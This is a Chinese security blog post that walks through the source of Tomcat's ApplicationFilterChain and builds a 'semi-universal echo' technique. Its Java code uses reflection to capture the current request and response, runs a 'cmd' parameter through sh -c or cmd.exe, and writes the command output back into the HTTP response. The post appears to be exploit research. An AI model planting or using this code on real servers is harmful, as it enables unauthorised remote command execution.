0x00 前言
之前没搞过这种半通用回显方法,不懂就学,参考大佬的文章学习下:Tomcat中一种半通用回显方法
0x01 相关概念
FilterChain
Filter即过滤器,是Servlet技术中最实用的技术,主要用于对用户请求进行预处理,也可以对HttpServletResponse进行后处理。Web开发人员通过Filter技术,对Web服务器管理的所有Web资源如JSP、Servlet、静态文件等进行拦截,从而实现一些特殊的功能。例如实现URL级别的权限访问控制、过滤敏感词汇、压缩响应信息等一些高级功能。
Filter功能:
-
在HttpServletRequest到达Servlet之前,拦截客户的HttpServletRequest 。根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据。
-
在HttpServletResponse到达客户端之前,拦截HttpServletResponse 。根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
FilterChain:在一个Web应用中,可以开发编写多个Filter,这些Filter组合起来称之为一个FilterChain。Web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter,当第一个Filter的doFilter()方法被调用时,Web服务器会创建一个代表Filter链的FilterChain对象传递给该方法。在doFilter()方法中,开发人员如果调用了FilterChain对象的doFilter()方法,则Web服务器会检查FilterChain对象中是否还有Filter,如果有则调用第2个Filter,如果没有则调用目标Servlet。
Filter原理图:
而ApplicationFilterChain类则是FilterChain接口类的实现类。
ApplicationFilterChain类
简介
Tomcat中的ApplicationFilterChain类是一个Java Servlet API规范javax.servlet.FilterChain接口类的实现类,用于管理某个请求request的一组过滤器Filter的执行。当针对一个request所定义的一组过滤器Filter处理完该请求后,最后一个doFilter()调用才会执行目标Servlet的service()函数。之后响应对象response会按照相反的顺序依次经过这组Filter处理,最终到达客户端。
类图
创建过程
ApplicationFilterChain类是在StandardWrapperValve类中invoke()方法中调用ApplicationFilterFactory.createFilterChain()方法创建的。StandardWrapperValve是Wrapper的标准阀,用在Pipleline流程中的最后一个valve执行,其中会创建ApplicationFilterChain对象并调用其doFilter()方法来处理请求,这个ApplicationFilterChain包含着配置的与请求相匹配的Filter和Servlet,其doFilter()方法会依次调用所有的Filter的doFilter()方法和Servlet的service()方法。
这里可看源码注释分析:
public final void invoke(Request request, Response response)
throws IOException, ServletException {
// 初始化本地变量
boolean unavailable = false;
Throwable throwable = null;
// This should be a Request attribute...
long t1=System.currentTimeMillis();
requestCount.incrementAndGet();
// 获取StandardWrapper Container
StandardWrapper wrapper = (StandardWrapper) getContainer();
Servlet servlet = null;
Context context = (Context) wrapper.getParent();
// 检查标记为不可用的应用程序
if (!context.getState().isAvailable()) {
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardContext.isUnavailable"));
unavailable = true;
}
// 检查标记为不可用的servlet
if (!unavailable && wrapper.isUnavailable()) {
container.getLogger().info(sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
long available = wrapper.getAvailable();
if ((available > 0L) && (available < Long.MAX_VALUE)) {
response.setDateHeader("Retry-After", available);
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
} else if (available == Long.MAX_VALUE) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
sm.getString("standardWrapper.notFound",
wrapper.getName()));
}
unavailable = true;
}
// 分配一个servlet实例来处理此请求
try {
if (!unavailable) {
// 通过Wrapper获取Servlet实例,内部已经调用了service(request, response)方法,对req与res进行了字段赋值
// 下面是对Response和Request进行后续的处理
servlet = wrapper.allocate();
}
} catch (UnavailableException e) {
container.getLogger().error(
sm.getString("standardWrapper.allocateException",
wrapper.getName()), e);
long available = wrapper.getAvailable();
if ((available > 0L) && (available < Long.MAX_VALUE)) {
response.setDateHeader("Retry-After", available);
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
} else if (available == Long.MAX_VALUE) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
sm.getString("standardWrapper.notFound",
wrapper.getName()));
}
} catch (ServletException e) {
container.getLogger().error(sm.getString("standardWrapper.allocateException",
wrapper.getName()), StandardWrapper.getRootCause(e));
throwable = e;
exception(request, response, e);
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString("standardWrapper.allocateException",
wrapper.getName()), e);
throwable = e;
exception(request, response, e);
servlet = null;
}
// 设置请求相关属性
MessageBytes requestPathMB = request.getRequestPathMB();
DispatcherType dispatcherType = DispatcherType.REQUEST;
if (request.getDispatcherType()==DispatcherType.ASYNC) dispatcherType = DispatcherType.ASYNC;
request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType);
request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR,
requestPathMB);
// 新建ApplicationFilterChain实例
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
// 调用本次请求的filter chain
// 注意:这里在会调用Servlet的service()函数
Container container = this.container;
try {
if ((servlet != null) && (filterChain != null)) {
// Swallow output if needed
if (context.getSwallowOutput()) {
try {
SystemLogHandler.startCapture();
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(),
response.getResponse());
}
} finally {
String log = SystemLogHandler.stopCapture();
if (log != null && log.length() > 0) {
context.getLogger().info(log);
}
}
} else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
// 调用ApplicationFilterChain实例的doFilter()函数
// 其中执行完最后一个doFilter()后会执行Servlet的service()函数
filterChain.doFilter
(request.getRequest(), response.getResponse());
}
}
}
} catch (ClientAbortException | CloseNowException e) {
if (container.getLogger().isDebugEnabled()) {
container.getLogger().debug(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
}
throwable = e;
exception(request, response, e);
} catch (IOException e) {
container.getLogger().error(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
throwable = e;
exception(request, response, e);
} catch (UnavailableException e) {
container.getLogger().error(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
// throwable = e;
// exception(request, response, e);
wrapper.unavailable(e);
long available = wrapper.getAvailable();
if ((available > 0L) && (available < Long.MAX_VALUE)) {
response.setDateHeader("Retry-After", available);
response.sendError(HttpServletResponse.SC_SERVICE_UNAVAILABLE,
sm.getString("standardWrapper.isUnavailable",
wrapper.getName()));
} else if (available == Long.MAX_VALUE) {
response.sendError(HttpServletResponse.SC_NOT_FOUND,
sm.getString("standardWrapper.notFound",
wrapper.getName()));
}
// Do not save exception in 'throwable', because we
// do not want to do exception(request, response, e) processing
} catch (ServletException e) {
Throwable rootCause = StandardWrapper.getRootCause(e);
if (!(rootCause instanceof ClientAbortException)) {
container.getLogger().error(sm.getString(
"standardWrapper.serviceExceptionRoot",
wrapper.getName(), context.getName(), e.getMessage()),
rootCause);
}
throwable = e;
exception(request, response, e);
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString(
"standardWrapper.serviceException", wrapper.getName(),
context.getName()), e);
throwable = e;
exception(request, response, e);
} finally {
// 释放本次请求的filter chain
if (filterChain != null) {
filterChain.release();
}
// 释放servlet实例
try {
if (servlet != null) {
wrapper.deallocate(servlet);
}
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString("standardWrapper.deallocateException",
wrapper.getName()), e);
if (throwable == null) {
throwable = e;
exception(request, response, e);
}
}
// If this servlet has been marked permanently unavailable,
// unload it and release this instance
try {
if ((servlet != null) &&
(wrapper.getAvailable() == Long.MAX_VALUE)) {
wrapper.unload();
}
} catch (Throwable e) {
ExceptionUtils.handleThrowable(e);
container.getLogger().error(sm.getString("standardWrapper.unloadException",
wrapper.getName()), e);
if (throwable == null) {
exception(request, response, e);
}
}
long t2=System.currentTimeMillis();
long time=t2-t1;
processingTime += time;
if( time > maxTime) maxTime=time;
if( time < minTime) minTime=time;
}
}
跟进看下ApplicationFilterFactory类的createFilterChain()函数的具体实现:
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
// 如果没有servlet执行,则直接返回null
if (servlet == null)
return null;
// 创建并初始化一个ApplicationFilterChain对象
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
// 从请求中尝试获取FilterChain
filterChain = (ApplicationFilterChain) req.getFilterChain();
// 如果获取不到,则新建ApplicationFilterChain实例并设置到请求中
if (filterChain == null) {
// 新建ApplicationFilterChain实例时,会先调用其静态代码来
// 初始化lastServicedRequest和lastServicedResponse为null
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// 用于请求分发器的场景
filterChain = new ApplicationFilterChain();
}
// 为ApplicationFilterChain对象设置Servlet
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// 获取当前上下文的过滤器映射关系
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
// 如果没有映射关系则直接返回
if ((filterMaps == null) || (filterMaps.length == 0))
return filterChain;
// 获取匹配过滤器映射关系所需的信息
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
// 获取请求路径信息
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
// 将相关请求路径映射到的过滤器添加到ApplicationFilterConfig对象中
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// 接着添加与Servlet名称匹配的过滤器
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// 返回最终设置好的ApplicationFilterConfig对象
return filterChain;
}
源码浅析
这里直接从ApplicationFilterChain类源码中看注释分析:
/**
* Implementation of <code>javax.servlet.FilterChain</code> used to manage
* the execution of a set of filters for a particular request. When the
* set of defined filters has all been executed, the next call to
* <code>doFilter()</code> will execute the servlet's <code>service()</code>
* method itself.
*
* @author Craig R. McClanahan
*/
public final class ApplicationFilterChain implements FilterChain {
// Used to enforce requirements of SRV.8.2 / SRV.14.2.5.1
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
// 在ApplicationFilterChain类首次创建时调用
static {
// WRAP_SAME_OBJECT默认为空
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest = new ThreadLocal<>();
lastServicedResponse = new ThreadLocal<>();
} else {
lastServicedRequest = null;
lastServicedResponse = null;
}
}
// filters数组每次扩容的增量
public static final int INCREMENT = 10;
/**
* Filters.
*/
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
// 当前执行的filter索引index
private int pos = 0;
// filters总量
private int n = 0;
// filter之后执行的Servlet实例
private Servlet servlet = null;
// 关联的servlet实例是否支持异步处理
private boolean servletSupportsAsync = false;
/**
* The string manager for our package.
*/
private static final StringManager sm =
StringManager.getManager(Constants.Package);
/**
* Static class array used when the SecurityManager is turned on and
* <code>doFilter</code> is invoked.
*/
private static final Class<?>[] classType = new Class[]{
ServletRequest.class, ServletResponse.class, FilterChain.class};
/**
* Static class array used when the SecurityManager is turned on and
* <code>service</code> is invoked.
*/
private static final Class<?>[] classTypeUsedInService = new Class[]{
ServletRequest.class, ServletResponse.class};
// 调用filter chain中的下一个filter,并传递指定的请求和响应。如果filter chain中没有其他filter,则调用Servlet本身的service()方法
// 该函数主要进行一层安全验证处理,再内部调用internalDoFilter()做实际处理
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
// 是否开启Security Manager
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
(java.security.PrivilegedExceptionAction<Void>) () -> {
// 内部调用进一步处理
internalDoFilter(req,res);
return null;
}
);
} catch( PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException)
throw (ServletException) e;
else if (e instanceof IOException)
throw (IOException) e;
else if (e instanceof RuntimeException)
throw (RuntimeException) e;
else
throw new ServletException(e.getMessage(), e);
}
} else {
// 内部调用进一步处理
internalDoFilter(request,response);
}
}
// 实际处理的Filter方法
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// 调用下一个存在的filter
if (pos < n) {
// 根据pos定位找到ApplicationFilterConfig
ApplicationFilterConfig filterConfig = filters[pos++];
try {
// 从ApplicationFilterConfig获取新的filter
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
// 判断是否启用Security Manager
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
// 调用用户编写的Filter中的方法进行过滤
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}
// filter chain执行完后,调用servlet实例
try {
// 保存Servlet执行前的request与response,前提是WRAP_SAME_OBJECT不为空
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
// Use potentially wrapped request from this point
if ((request instanceof HttpServletRequest) &&
(response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res};
SecurityUtil.doAsPrivilege("service",
servlet,
classTypeUsedInService,
args,
principal);
} else {
// servlet实例的service()方法调用
servlet.service(request, response);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}
// 获取最后一个从当前线程传递到servlet进行服务的请求
public static ServletRequest getLastServicedRequest() {
return lastServicedRequest.get();
}
// 获取最后一个从当前线程传递到servlet进行服务的响应
public static ServletResponse getLastServicedResponse() {
return lastServicedResponse.get();
}
// 添加filter到filter chain
void addFilter(ApplicationFilterConfig filterConfig) {
// 防止添加重复的filter
for(ApplicationFilterConfig filter:filters)
if(filter==filterConfig)
return;
// 如果filters数量满额
if (n == filters.length) {
// 以INCREMENT为单位扩容
ApplicationFilterConfig[] newFilters =
new ApplicationFilterConfig[n + INCREMENT];
// 数组内容copy
System.arraycopy(filters, 0, newFilters, 0, n);
// 引用替换
filters = newFilters;
}
// 扩容后再添加新的filter
filters[n++] = filterConfig;
}
/**
* Release references to the filters and wrapper executed by this chain.
*/
void release() {
for (int i = 0; i < n; i++) {
filters[i] = null;
}
n = 0;
pos = 0;
servlet = null;
servletSupportsAsync = false;
}
/**
* Prepare for reuse of the filters and wrapper executed by this chain.
*/
void reuse() {
pos = 0;
}
// 设置filter chain之后将执行的Servlet
void setServlet(Servlet servlet) {
this.servlet = servlet;
}
// 设置Servlet支持异步
void setServletSupportsAsync(boolean servletSupportsAsync) {
this.servletSupportsAsync = servletSupportsAsync;
}
// 查找不支持异步的filter
public void findNonAsyncFilters(Set<String> result) {
for (int i = 0; i < n ; i++) {
ApplicationFilterConfig filter = filters[i];
if ("false".equalsIgnoreCase(filter.getFilterDef().getAsyncSupported())) {
result.add(filter.getFilterClass());
}
}
}
}
看完代码,我们可以简介归纳一个ApplicationFilterChain对象包含几个主要参数:
-
n:filter个数;
-
pos:下一个要执行的filter的位置;
-
Servlet:当pos=n即过滤完成时,调用Servlet的service()方法,把请求交给Servlet;
-
filters:Filter的相关配置信息;
所以,ApplicationFilterChain对象的执行其实就是通过pos作为索引来逐个执行设置的filter的doFilter()函数,执行完所有filter的doFilter()后,就会调用Servlet的service()函数来处理请求。
0x02 回显利用
基本原理
一般的,基于Tomcat的回显利用实现思路如下:
-
Tomcat中存在保存Request和Response的某些变量;
-
通过读取Request对象来获取输入的命令参数;
-
通过写入Response对象来实现响应回显输出;
而在前面分析的ApplicationFilterChain类中,我们看到在调用internalDoFilter()函数时,Request和Response是保存到lastServicedRequest和lastServicedResponse变量中的:
// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}
而这两个变量是由private static final修饰的ThreadLocal类型的变量,static使得可以直接在没有创建对象的情况下来获取变量,ThreadLocal的作用主要是做数据隔离,填充的数据只属于当前线程,变量的数据对别的线程而言是相对隔离的,在多线程环境下,如何防止自己的变量被其它线程篡改
:
// Used to enforce requirements of SRV.8.2 / SRV.14.2.5.1
private static final ThreadLocal<ServletRequest> lastServicedRequest;
private static final ThreadLocal<ServletResponse> lastServicedResponse;
下面具体看看怎么实现回显。
代码实现
和参考文章一样,在本地起个简易的Spring Boot,其中Controller代码如下,尝试获取当前HttpServletResponse内容和输入的input参数:
public String test(String input, HttpServletResponse httpServletResponse) throws Exception {
System.out.println(httpServletResponse);
if (input == null) {
input = "Echo Page";
}
return input;
}
调试看调用栈,该Response实例在函数调用栈中始终是同一个传递下来的:
这里理一下,我们的目标是要在本Controller的响应中添加命令执行的回显到页面中。
在前面的源码浅析中,我们知道ApplicationFilterChain这个类的internalDoFilter()函数中,会将当前的ServletRequest和ServletResponse保存到其成员变量lastServicedRequest和lastServicedResponse中,当然前提是ApplicationDispatcher.WRAP_SAME_OBJECT为true(默认为false):
看到WRAP_SAME_OBJECT是个static final变量,问题不大,可以通过反射来修改其值为true,从而使得程序能跑到if逻辑中让当前的ServletRequest和ServletResponse保存到lastServicedRequest和lastServicedResponse中。
具体怎么修改可以参考网上的文章:利用反射修改final数据域
先尝试写了下,代码说明如注释:
public String test(String input, HttpServletResponse httpServletResponse) throws Exception {
System.out.println(httpServletResponse);
if (input == null) {
input = "Echo Page";
}
// 获取ApplicationDispatcher类的声明字段WRAP_SAME_OBJECT
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
// 获取Field类的声明字段modifiers
Field modifiersField = Field.class.getDeclaredField("modifiers");
// 添加访问权限才能访问私有属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
modifiersField.setAccessible(true);
// 清除代表final的那个bit
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ Modifier.FINAL);
// 获取当前WRAP_SAME_OBJECT_FIELD的值
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改
if (!WRAP_SAME_OBJECT) {
System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");
// 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else {
System.out.println("[*]WRAP_SAME_OBJECT的值已为true");
}
return input;
}
直接跑之后控制台报如下错:
原因在于执行完Servlet的service()函数修改了WRAP_SAME_OBJECT为true后会进入下面的finally逻辑,其中会设置lastServicedRequest和lastServicedResponse两个变量值为null,但是这两个变量在默认情况下是null、并没有被新建:
根据这个错误信息,我们需要在代码中也新建lastServicedRequest和lastServicedResponse这两个实例,这样代码就没问题了。同时,还得加入获取URL参数并执行的代码,最后添加到Response中回显输出。看代码注释即可:
public String test(String input, HttpServletResponse httpServletResponse) throws Exception {
System.out.println(httpServletResponse);
if (input == null) {
input = "Echo Page";
}
// 获取ApplicationDispatcher类的WRAP_SAME_OBJECT声明字段
// 和ApplicationFilterChain类的lastServicedRequest与lastServicedResponse声明字段
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
// 获取Field类的modifiers声明字段
Field modifiersField = Field.class.getDeclaredField("modifiers");
// 添加访问权限才能访问私有属性
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
modifiersField.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
// 清除代表final的那个bit,才能成功修改static final
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() &~ Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() &~ Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() &~ Modifier.FINAL);
// 获取当前WRAP_SAME_OBJECT_FIELD的值
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
// 尝试获取当前lastServicedRequest和lastServicedResponse的值
// 如果不是第一次访问该接口则为非null
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
// 非null就可以直接获取URL参数cmd
String cmd = lastServicedRequest != null ? lastServicedRequest.get().getParameter("cmd") : null;
if (cmd != null) {
System.out.println("[*]获取到请求的cmd参数: " + cmd);
}
// 如果WRAP_SAME_OBJECT_FIELD值为false,说明是第一次调用、还未进行反射修改
// 也未新建lastServicedRequest与lastServicedResponse实例
if (!WRAP_SAME_OBJECT || lastServicedRequest == null || lastServicedResponse == null) {
System.out.println("[*]通过反射机制来修改WRAP_SAME_OBJECT的值为true");
// 修改WRAP_SAME_OBJECT为true,才能反射修改到lastServicedRequest和lastServicedResponse
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
// 新建lastServicedRequest和lastServicedResponse实例,避免默认null导致报错
lastServicedRequestField.set(null, new ThreadLocal<>());
lastServicedResponseField.set(null, new ThreadLocal<>());
} else if (cmd != null) {
// 执行cmd命令并添加到Response中回显
System.out.println("[*]WRAP_SAME_OBJECT的值已为true且存在cmd参数");
// 获取保存到lastServicedResponse中的ServletResponse
ServletResponse servletResponse = lastServicedResponse.get();
PrintWriter printWriter = servletResponse.getWriter();
// 获取ResponseFacade类的response声明字段,通过其获取ServletResponse里的Response对象
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
Response response = (Response) responseField.get(servletResponse);
// 反射修改Response对象的usingWriter声明字段为false
// 不加这段代码也能成功回显命令执行结果,但会报错显示当前Response已调用getWriter()
// 这是因为后续会调用Response的getOutputStream(),该函数和getWriter()是互相排斥的
// 但可通过反射修改usingWriter标志使得程序认为未调用getWriter()而跳过抛出异常的逻辑
Field usingWriterField = Response.class.getDeclaredField("usingWriter");
usingWriterField.setAccessible(true);
usingWriterField.set(response, Boolean.FALSE);
// 判断当前OS类型
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}
// 执行命令并将结果写入ServletResponse的PrintWriter中
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\a");
String output = scanner.hasNext() ? scanner.next() : "";
printWriter.write(output);
printWriter.flush();
}
return input;
}
如代码所示,访问两次就出回显了:
半通用的原因
利用Tomcat ApplicationFilterChain类实现回显利用的方式之所以说是半通用,这是因为在Shiro中并不可行。原因在于,ApplicationFilterChain类中Request和Response的设置是在Shiro反序列化漏洞触发点之后。
这里看到在调用ApplicationFilterChain类的internalDoFilter()函数时,调用到了Shiro的ShiroFilter过滤器类、其中会调用到CookieRememberMeManager类的getRememberedSerializedIdentity()函数来获取cookie内容并进行反序列化操作,这个过程都是还在调用应用的doFilter()的时候就触发了,而间于Filter Chain执行之后、调用Servlet实例之前的Request和Response的设置就不起作用了:
原文始发于微信公众号(98KSec):浅析利用Tomcat ApplicationFilterChain类实现半通用回显
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论